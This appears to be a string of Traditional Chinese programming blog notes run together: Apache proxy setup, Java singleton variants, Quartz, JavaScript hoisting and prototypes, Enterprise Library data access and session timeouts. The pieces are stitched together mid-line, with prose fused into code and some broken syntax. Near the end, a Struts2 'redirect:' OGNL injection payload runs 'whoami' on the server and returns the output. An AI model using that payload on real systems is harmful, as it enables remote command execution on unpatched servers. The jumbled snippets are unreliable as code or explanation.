Listen 80802.設定 Module
LoadModule proxy_module modules/mod_proxy.so LoadModule proxy_connect_module modules/mod_proxy_connect.so LoadModule proxy_http_module modules/mod_proxy_http.so LoadModule proxy_ftp_module modules/mod_proxy_ftp.so前三項為必要Module, 後面可依需求增減
<VirtualHost *:8080> ProxyRequests On ProxyVia On <Proxy *> Order deny,allow Deny from all Allow from 192.168.0.0/16 </Proxy> </VirtualHost>4.重新啟動 server 即設定完成
Chrome.exe --proxy-server=192.168.0.1:8080
public enum Singleton {
INSTANCE;
public void someOperation() { .. }
}
參考public class EagerInitialization {
public static final EagerInitialization INSTANCE = new EagerInitialization();
public static final String TEST = "test";
private EagerInitialization() {
System.out.println("constructor");
}
public static EagerInitialization getInstance() {
System.out.println("getInstance");
return INSTANCE;
}
}
public class StaticBlockInitialization {
public static StaticBlockInitialization instance;
public static final String TEST = "test";
private StaticBlockInitialization() {
System.out.println("constructor");
}
static {
try {
instance = new StaticBlockInitialization();
}
catch (Exception e) {
e.printStackTrace();
}
}
public static StaticBlockInitialization getInstance() {
System.out.println("getInstance");
return instance;
}
}
public class InitializationOnDemandHolder {
public static final String TEST = "test";
private InitializationOnDemandHolder() {
System.out.println("constructor");
}
private static class SingletonHolder {
public static final InitializationOnDemandHolder INSTANCE = new InitializationOnDemandHolder();
}
public static InitializationOnDemandHolder getInstance() {
System.out.println("getInstance");
return SingletonHolder.INSTANCE;
}
}
import org.junit.Test;
public class TestRun {
@Test
public void testEagerInitialization() {
System.out.println("testEagerInitialization start");
System.out.println(EagerInitialization.TEST);
EagerInitialization.getInstance();
System.out.println("testEagerInitialization end");
System.out.println("------------------------------------");
}
@Test
public void testStaticBlockInitialization() {
System.out.println("testStaticBlockInitialization start");
System.out.println(StaticBlockInitialization.TEST);
StaticBlockInitialization.getInstance();
System.out.println("testStaticBlockInitialization end");
System.out.println("------------------------------------");
}
@Test
public void testInitializationOnDemandHolder() {
System.out.println("testInitializationOnDemandHolder start");
System.out.println(InitializationOnDemandHolder.TEST);
InitializationOnDemandHolder.getInstance();
System.out.println("testInitializationOnDemandHolder end");
System.out.println("------------------------------------");
}
}
outputpublic static final String TEST = "test";修改成
public static String TEST = "test";除了 testInitializationOnDemandHolder 輸出結果一樣之外, 其他兩個的輸出次序會改變, 進而影響到 lazy initialization 的結果,以下是拿掉 final 關鍵字的輸出結果
private static final Object LOCK = new Object();
private static volatile Singleton instance;
public static Singleton getInstance() {
Singleton result = instance;
if (result == null) {
synchronized (LOCK) {
result = instance;
if (result == null) {
instance = result = new Singleton();
}
}
}
return result;
}
區域變數 result 看起來是不必要的,但在某些版本的JVM,可以提升執行效率JobDetail job = JobBuilder.newJob(Class.forName("MyJob").asSubclass(Job.class))
.withIdentity("JobName", "JobGroup")
.build();
TriggerKey triggerKey = TriggerKey.triggerKey("TriggerName", "TriggerGroup");
CronTrigger trigger = TriggerBuilder.newTrigger()
.withIdentity(triggerKey)
.withSchedule(CronScheduleBuilder.cronSchedule("0/20 * * * * ?"))
.build();
Scheduler sched = new StdSchedulerFactory().getScheduler();
sched.scheduleJob(job, trigger);
sched.start();//scheduler start
sched.unscheduleJob(triggerKey);//unschedule Job
sched.shutdown(true);//shutdown the scheduler
> var car = {};
undefined
> Boolean(car.engine);
false
> car.engine = "e1";
"e1"
> Boolean(car.engine);
true
> car.engine = 0;
0
> Boolean(car.engine);
false
> Boolean(null);
false
> Boolean(0);
false
> Boolean("");
false
> car.hasOwnProperty("engine");
true
> delete car.engine;
true
> car.hasOwnProperty("engine");
false
> 123 + null 123 > 123 * null 02.undefined 定義 : 基本型別, 宣告後沒有指定值
> 123 + undefined NaN > 123 * undefined NaN
> typeof null "object" //ECMAScript 6 後改成 primitive > typeof undefined "undefined" > null == undefined //兩個等號測試結果會是 true true > null === undefined false
String userName = "Administrator";
String password = "password";
String header = "Authorization: Basic " + Convert.ToBase64String(Encoding.ASCII.GetBytes(userName + ":" + password)) + System.Environment.NewLine;
webBrowser.Navigate(String.Format("http://{0}:{1}@127.0.0.1", userName, password), null, null, header);
public void InsertCust1(String connName)
{
string sql = @"INSERT INTO CUSTOMERS (customerid, companyname, contactname, contacttitle, "
+ "address, city, region, postalcode, country, phone, fax) "
+ "VALUES (:a,:b,:c,:d,:e,:f,:g,:h,:i,:j,:k) ";
String connString = ConfigurationManager.ConnectionStrings[connName].ConnectionString;
using (OracleConnection connection = new OracleConnection(connString))
{
connection.Open();
OracleTransaction trans = connection.BeginTransaction();
try
{
OracleCommand cmd = connection.CreateCommand();
cmd.CommandText = sql;
cmd.CommandType = CommandType.Text;
cmd.Transaction = trans;
for (int i = 97; i < 108; i++)
{
char c = (char)i;
cmd.Parameters.Add(":" + c, c);
}
cmd.ExecuteNonQuery();
trans.Commit();
}
catch
{
trans.Rollback();
}
}
}
2. 使用 Enterprise Library 後, 程式碼沒有精簡很多, 但可避免程式碼和特定資料庫的 connection 實作產生依賴, 仍值得一用public void InsertCust2(String connName)
{
string sql = @"INSERT INTO CUSTOMERS (customerid, companyname, contactname, contacttitle, "
+ "address, city, region, postalcode, country, phone, fax) "
+ "VALUES (:a,:b,:c,:d,:e,:f,:g,:h,:i,:j,:k) ";
Database db = DatabaseFactory.CreateDatabase(connName);
using (DbConnection dbConnection = db.CreateConnection())
{
dbConnection.Open();
DbTransaction trans = dbConnection.BeginTransaction();
try
{
DbCommand cmd = dbConnection.CreateCommand();
cmd.CommandText = sql;
cmd.CommandType = CommandType.Text;
for (int i = 97; i < 108; i++)
{
char c = (char)i;
db.AddInParameter(cmd, ":" + c, DbType.String, c);
}
db.ExecuteNonQuery(cmd, trans);
trans.Commit();
}
catch
{
trans.Rollback();
}
}
}
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<connStrings>
<add name="testdb" connString="Data Source=test;User Id=testdb;Password=testdb;" providerName="Oracle.DataAccess.Client" />
</connStrings>
</configuration>
using Microsoft.Practices.EnterpriseLibrary.Data;在不使用 LINQ 和 Entity Framework 的狀況下,如果要將資料庫裡的資料轉變成為強型別的物件
public List<Customer> FindCustById1(String connName, String id)
{
String sql = @"SELECT * FROM CUSTOMERS WHERE CUSTOMERID = :ID";
String connString = ConfigurationManager.ConnectionStrings[connName].ConnectionString;
using (OracleConnection connection = new OracleConnection(connString))
using (OracleCommand cmd = new OracleCommand(sql, connection))
{
connection.Open();
cmd.Parameters.Add("ID", id);
List<Customer> data = new List<Customer>();
using (OracleDataReader reader = cmd.ExecuteReader(CommandBehavior.CloseConnection))
{
while (reader.Read())
{
Customer item = new Customer();
item.CustomerId = reader["CUSTOMERID"] == DBNull.Value ? "" : reader["CUSTOMERID"].ToString();
item.CompanyName = reader["COMPANYNAME"] == DBNull.Value ? "" : reader["COMPANYNAME"].ToString();
item.Fax = reader["FAX"] == DBNull.Value ? "" : reader["FAX"].ToString();
item.Address = reader["ADDRESS"] == DBNull.Value ? "" : reader["ADDRESS"].ToString()
data.Add(item);
}
}
return data;
}
}
2. 使用 Enterprise Library,主要精簡了取 Connection 和 物件換的部分,將 Coonection 的建立和關閉封裝在 Database 物件內, 並利用反射將 reader 取得的資料放入 Customer 內public List<Customer> FindCustById2(String connName, String id)
{
String sql = @"SELECT * FROM CUSTOMERS WHERE CUSTOMERID = :ID";
Database db = DatabaseFactory.CreateDatabase(connName);
using (DbCommand cmd = db.GetSqlStringCommand(sql))
{
db.AddInParameter(cmd, "ID", DbType.String, id);
List<Customer> data = new List<Customer>();
using (IDataReader reader = db.ExecuteReader(cmd))
{
while (reader.Read())
{
Customer item = MapBuilder<Customer>.BuildAllProperties().MapRow(reader);
data.Add(item);
}
}
return data;
}
}
3. 使用 Enterprise Library 進階版, 更進一步的將 reader 轉成物件的部分簡化了, 但是要多寫一個 class, C# 目前(2013年)似乎無法用匿名的方式 implements interfacepublic List<Customer> FindCustById3(String connName, String id)
{
String sql = @"SELECT * FROM CUSTOMERS WHERE CUSTOMERID = :ID";
Database db = DatabaseFactory.CreateDatabase(connName);
DataAccessor<Customer> accessor = db.CreateSqlStringAccessor<Customer>(sql, new MyParameterMapper());
IEnumerable<Customer> result = accessor.Execute(id);
return new List<Customer>(result);
}
class MyParameterMapper : IParameterMapper
{
public void AssignParameters(DbCommand command, object[] parameterValues)
{
DbParameter parameter = command.CreateParameter();
parameter.ParameterName = ":ID";
parameter.Value = parameterValues[0];
command.Parameters.Add(parameter);
}
}
Enterprise Library 的 Database 物件感覺跟 Spring 的 JdbcTemplate 有點類似, 兩者都將 connection 的開關封裝起來, 並可自定 RowMapper 物件, 建立轉換的規則public List<Customer> FindAllCust(String connectiopnName)
{
String sql = @"SELECT * FROM CUSTOMERS";
Database db = DatabaseFactory.CreateDatabase(connectiopnName);
IEnumerable<Customer> result = db.ExecuteSqlStringAccessor<Customer>(sql);
return new List<Customer>(result);
}
總結 : 使用 Enterprise Library 優點using System;
namespace TestEnterpriseLibrary
{
class Customer
{
public String CustomerId
{
get;
set;
}
public String CompanyName
{
get;
set;
}
public String Fax
{
get;
set;
}
public String Address
{
get;
set;
}
}
}
App.config<?xml version="1.0" encoding="utf-8"?>
<configuration>
<connStrings>
<add name="testdb" connString="Data Source=test;User Id=testdb;Password=testdb;" providerName="Oracle.DataAccess.Client" />
</connStrings>
</configuration>
function subtract(a, b){
return a - b;
};
寫法二var subtract = function (a, b) {
return a - b;
};
var result = subtract(1,2);
function subtract(a, b){
return a - b;
};
var num = 11;
var test = (num % 2 == 0
? function () { alert("The number is even."); }
: function () { alert("The number is odd."); }
);
test();
function outside1(){
function inside1() {
return 0;
}
return inside1();
function inside1() {
return 1;
}
}
alert(outside1());
alert(outside2());
function outside2(){
var inside2 = function() {
return 0;
};
return inside2();
var inside2 = function() {
return 1;
};
}
function outside3(){
return inside3();
var inside3 = function() {
return 0;
};
var inside3 = function() {
return 1;
};
}
alert(outside3());
執行結果 1,0,TypeError: undefined is not a functionvar a = 1;
function b() {
a = 10;
return;
function a() {}
}
b();
alert(a);
執行結果是1if (true) {
function sayHello() {
return 'Hello 1';
}
}
else {
function sayHello() {
return 'Hello 2';
}
}
sayHello();
必須使用 Function Expression 的寫法var sayHello;
if (true) {
sayHello = function() {
return 'Hello 1';
};
}
else {
sayHello = function() {
return 'Hello 2';
};
}
sayHello();
var i = 0;
function test(){console.log("test");}
function factorial(num)
{
if (num < 0) return -1;
else if (num == 0) return 1;
var result = num;
while (num-- > 2) {
result *= num;
}
return result;
}
factorial(10);
第一次呼叫 factorial
> eval('var x = 22');
undefined
> x
22
> this.x
22
> window.x
22
> eval('(function() {var y=33; console.log(y);})()');//前一個 active execution context 是匿名 function
33
undefined
> y
ReferenceError: y is not defined
function Earth(){};
接著建立一個物件實例(Object Instances)var e1 = new Earth();建立實例的過程中不單單是設定 name 屬性, 還把 Employee 所繼承的物件帶給 e1
var e1 = {};
e1.__proto__ = Earth.prototype;//__proto__ Non-standard
Earth.call(e1);
使用 Chrome Developer Tools 可看出 e1 的屬性和方法
> e1.constructor [Function: Earth]e1 沒有 constructor 屬性, 所以往內部查找 __proto__ 正好有這屬性, 所以輸出 __proto__.constructor, 由此可推論 e1.constructor == e1.__proto__.constructor
> e1.constructor == e1.__proto__.constructor true > Earth.prototype.constructor == e1.constructor true從上面的例子可看出 prototype 屬性會決定繼承的物件, 改變 prototype 屬性後, 再 new 出來的物件繼承關係也跟著改變
> function X(){}
undefined
> X.constructor //所有 function 都是 Function object
function Function() { [native code] }
> X.prototype.constructor //參考到 X
function X(){}
> var o1 = new X()
undefined
> o1 instanceof X
true
> o1.constructor //等於 o1.__proto__.constructor
function X(){}
> X.prototype = [] //改變 X.prototype 參考到陣列
[]
> var o2 = new X()
undefined
> o1 instanceof X // 相當於 o1.__proto__ == X.prototype
false
> X.prototype.isPrototypeOf(o1);
false
> o2 instanceof X // 相當於 o2.__proto__ == X.prototype
true
> o1 instanceof Array
false
> o2 instanceof Array
true
> X.constructor
function Function() { [native code] }
> X.prototype.constructor
function Array() { [native code] }
> o1.constructor
function X(){}
> o2.constructor
function Array() { [native code] }
所有 function 都是 Function object 的實例, 所以 X.constructor 指向 Function, X.prototype.constructor 指向 X,var o1 = new X();相當於
var o1 = {};
o1.__proto__ = X.prototype;//reference X
X.call(o1);
而 X.prototype = []; 改變了 prototype 的參考對象, 因此 X 的 prototype chain 改變了 var o2 = {};
o2.__proto__ = X.prototype;//reference Array
X.call(o2);
要怎麼讓 o1 instanceof X 變成 true 呢? 只要讓 o1.__proto__ 和 X.prototype 一致就行了> o1.__proto__ = X.prototype; [] > o1 instanceof X; true > X.prototype.isPrototypeOf(o1); true
function Employee(name, department)
{
this.name = name;
this.department = department;
}
var e1 = new Employee('Albert', 'accounting');
var e2 = new Employee('Grace', 'sales');
console.log(e1 instanceof Employee);
console.log(e2 instanceof Employee);
console.log(e1.constructor == Employee);
console.log(e2.constructor == Employee);
outputfunction NewType(){};
e1.constructor = NewType;
console.log(e1 instanceof Employee);
console.log(e1 instanceof NewType);
console.log(e1.constructor == Employee);
console.log(e1.constructor == NewType);
console.log(e1.constructor instanceof Function);
outputvar newTypeInstance = new NewType(); e2.constructor = newTypeInstance; console.log(e2 instanceof Employee); console.log(e2 instanceof NewType); console.log(e2.constructor == Employee); console.log(e2.constructor == NewType); console.log(e2.constructor instanceof Function); console.log(e2.constructor == newTypeInstance);output
console.log(this.constructor);
console.log(RegExp.constructor);
console.log(Date.constructor);
console.log("xyz".constructor);
outputvar num = 1; console.log(num.constructor);output
function Book1(isbn, name)
{
this.isbn = isbn;
this.name = name;
return [isbn, name];
}
var b1 = new Book1('123', 'Book1');
console.log(b1 instanceof Book1);
console.log(b1 instanceof Array);
console.log(b1.constructor == Book1);
console.log(b1.constructor == Array);
console.log("###############################");
function Book2(isbn, name)
{
this.isbn = isbn;
this.name = name;
return true;
}
var b2 = new Book2('456', 'Book2');
console.log(b2 instanceof Book2);
console.log(b2 instanceof Array);
console.log(b2.constructor == Book2);
console.log(b2.constructor == Array);
output
<bean id="contextPropertyConfigurer"
class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">
<property name="locations">
<list>
<value>classpath:test.properties</value>
</list>
</property>
<property name="fileEncoding" value="UTF-8"/>
</bean>
<bean id="sysConfig"
class="org.springframework.beans.factory.config.PropertiesFactoryBean">
<property name="location" value="classpath:test.properties"/>
<property name="fileEncoding" value="UTF-8"/>
</bean>
<session-descriptor>
<timeout-secs>2400</timeout-secs><!--seconds-->
</session-descriptor>
WebLogic Console ==> deployments / deployment name / Configuration / General / Session Timeout (in seconds)
<session-config>
<session-timeout>120</session-timeout><!--minutes-->
</session-config>
設定0或小於0則 session 永遠不會 time out (可參考 web-app_2_3.dtd 內的說明)http://127.0.0.1/test.action?redirect:http://www.google.com/test2 :
http://127.0.0.1/test.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
結果都可正確執行並回傳,這漏洞造成的影響相當大,可以利用此漏洞執行伺服器端的指令,
var a = "123"; console.log(typeof a); a.test = "456"; console.log(a.test);output
var b = "456"; console.log(b.length);output
var obj = new String("test");
obj.test1 = "test wrapper object";
console.log(obj.test1);
console.log(typeof obj);
outputvar obj = {
"0" : "t"
"1" : "e"
"2" : "s"
"3" : "t"
length: 4
test1: "test wrapper object"
}
var x = 99; var y = new Number(99); console.log(typeof x); console.log(typeof y); console.log(x == y); console.log(x === y);output
var s1 = new String("abc");
var n1 = new Number(111);
var b1 = new Boolean(true);
console.log(s1 == "abc");
console.log(n1 == 111);
console.log(b1 == true);
String.prototype.valueOf = function() { return "xyz";}
Number.prototype.valueOf = function() { return 999;}
Boolean.prototype.valueOf = function() { return false;}
console.log(s1 == "abc");
console.log(n1 == 111);
console.log(b1 == true);
console.log(s1.toString());
console.log(n1.toString());
console.log(b1.toString());
outputvar myArray = [1,2,3];
for (var i = 0; i < myArray.length; i++)
{
alert(myArray[i]);
}
outputvar obj =
{
a : 1,
b : 2
};
for(var key in obj)
{
alert(key);
}
outputfunction alertElements(element, index, array)
{
alert(element);
}
[1,2,3].forEach(alertElements);
outputvar obj =
{
a : 1,
b : 2
};
Object.keys(obj).forEach(function(key)
{
alert(key);
});
outputvar i=0;
var myArray = [1,2,3];
while(myArray[i])
{
alert(myArray[i]);
i++;
}
outputvar i = 1;
var sum = 0;
do
{
sum += i;
i++;
}
while (i <= 100);
alert(sum);
output
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key.hashCode());
int i = indexFor(hash, table.length);
for (Entry<k> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
public V get(Object key) {
if (key == null)
return getForNullKey();
int hash = hash(key.hashCode());
for (Entry<k> e = table[indexFor(hash, table.length)];
e != null;
e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
return e.value;
}
return null;
}
a = 1; //global
function init() {
b = 2; //global
var c = 3; //local
}
function test1() {
init();
console.log(a);
console.log(b);
console.log(c);
}
test1();
outputfunction test2() {
console.log(a);
var a = 1;
console.log(a);
}
test2();
outputvar a = 1; b = 2; console.log(a); console.log(b); console.log(delete a); console.log(delete b); console.log(a); console.log(b)output
var a;//a is undefined var b = "test";//b is String var c = 1;//c is a Number var d = new Array();//d is Array
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
public final class ServiceLocator {
private static ServiceLocator sl = new ServiceLocator();
private Context c;
private Map m;
private ServiceLocator() {
try {
c = new InitialContext();
m = Collections.synchronizedMap(new HashMap());
} catch (Exception ex) {
throw new ExceptionInInitializerError(ex);
}
}
public static ServiceLocator getInstance() {
return sl;
}
public DataSource getDataSource(String name) throws NamingException {
DataSource ds = null;
if (m.containsKey(name)) {
ds = (DataSource) m.get(name);
} else {
ds = (DataSource) c.lookup(name);
m.put(name, ds);
}
return ds;
}
}